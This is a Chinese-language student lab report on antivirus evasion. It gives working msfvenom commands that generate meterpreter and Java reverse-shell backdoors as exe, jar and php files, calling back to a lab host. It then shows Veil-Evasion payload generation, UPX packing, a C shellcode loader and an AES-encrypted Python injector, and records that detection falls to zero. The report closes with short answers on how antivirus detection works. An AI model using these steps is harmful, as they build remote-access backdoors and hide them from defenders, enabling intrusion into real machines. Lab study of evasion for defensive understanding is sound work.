Exp3-免杀原理
一、实验内容
1. 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- 1.1 重新生成了实验二中的后门20191330_backdoor.exe
截图如下:
- 1.2 在免杀测试平台上进行测试,可以看到测试结果为53/69
截图如下:
- 1.3 使用Unicode编码一次,再次在平台上进行测试,发现测试结果为52/68
代码如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.58.128 LPORT=1330 -f exe > 20191330_backdoor1.exe
截图如下:
- 1.4 编码多次(此处采用我学号的序号1+3+3+0 = 7来进行编码),结果为49/68
编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性
一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
代码如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i 7 -b ‘\x00’ LHOST=192.168.58.128 LPORT=1330 -f exe > 20191330_backdoor2.exe
截图如下:
- 1.5 接下来我们使用msf编码器生成别的文件,首先尝试生成jar包,这里需要修改-f后面的参数。再次进行测试,结果是31/59。同时可以看到很多结果是无法处理该文件类型,总数只是59。
msfvenom -p java/shell_reverse_tcp LHOST=192.168.58.128 LPORT=1330 -f jar > 20191330_backdoor3.jar
截图如下:
- 1.6 我们再尝试生成php文件,平台检测结果是21/57
代码如下:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.58.128 LPORT=1330 x> 20191330_backdoor4.php
截图如下:
2.veil,加壳工具实践
- 2.1 安装工具
代码如下:
sudo apt-get install veil-evasion
截图如下:
- 2.2 安装设置
修改setup.sh:
cd /usr/share/veil/config
vim setup.sh
注意:先进入root模式
修改第260行
截图如下:
- 2.3 等待安装
截图如下:
按要求一路安装即可
截图如下:
如图,进入Veil界面:
- 2.4 进入veil界面可以可用的工具和可以使用的指令,我们使用Evasio,进行IP,端口设置
代码如下:
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.58.128 //设置ip
set LPORT 11330 //设置端口
options //查看设置
generate //生成
截图如下:
- 2.5 对生成的文件进行测试
截图如下:
结果:41/69
- 2.6 接下来对刚才的exe加壳
指令:
upx 20191330lqy.exe -o 20191330_lqy_upx.exe
- 2.7 再次测试,结果为:40/69
截图如下:
基本上没有减小,看来目前杀软对于加壳的检测能力很强。
3.使用C + shellcode编程
- 3.1 使用msfvenom得到shellcode
代码如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.58.128 LPORT=11330 -f c
截图如下:
- 3.2 利用vi编辑器进行编辑
代码如下:
vim shellcode_c.c
int main() { int (*func)() = (int(*)())buf; func(); }
截图如下:
- 3.3 编译文件
代码如下:
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe
截图如下:
- 3.4 对文件进行检测,结果为:35/68
截图如下:
可以看出检出率下降。
4.通过组合应用各种技术实现恶意代码免杀
- 4.1 利用python+aes_encrypt
打开veil,选择Evasion
list##寻找palyload
use evasion
use python/shellcode_inject/aes_encrypt.py
generate
截图如下:
给出相应参数:
截图如下:
- 4.2 对文件进行检测
截图如下:
可以看到成功实现了免杀,检测率为0
二、基础问题回答
(1)杀软是如何检测出恶意代码的?
答:1.基于特征码的检测:分析指令的统计特性、代码的结构特性等。如果一个可执行文件(或其他运行的库、脚本等)拥有一般恶意代码所通有的特征(开启后门等)则被认为是恶意代码
2.启发式恶意软件检测:构成恶意代码的指令的含义,根据些片面特征去推断。
3.基于行为的动态分析检测:通过监视恶意代码运行过程。如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。
(2)免杀是做什么?
答:免杀的意思是避免被杀毒软件杀死,也就是通过一定的手段,使得杀毒工具无法检测出来软件病毒或者木马之类的“干扰性”特征。
(3)免杀的基本方法有哪些?
答:有如下几种方式:
- 加壳:压缩壳 加密壳
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 用其他语言进行重写再编译(veil-evasion)
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
(4)开启杀软能绝对防止电脑中恶意代码吗?
答:基于此次实验结果可知,开启杀软不能够绝对防止电脑中恶意代码。
三、思考与收获
通过这次实验,我对于杀毒软件对如何杀毒有个大致的了解,懂得了这个如何简单的制造一个病毒,并且如何的去免杀,防止被删除。本次实验难度适中,跟着课题负责人按步骤完成即可,主要问题出现在veil的安装部分,目前仍在解决中,希望能够在今后的实验中学习更能多的网络攻防相关知识。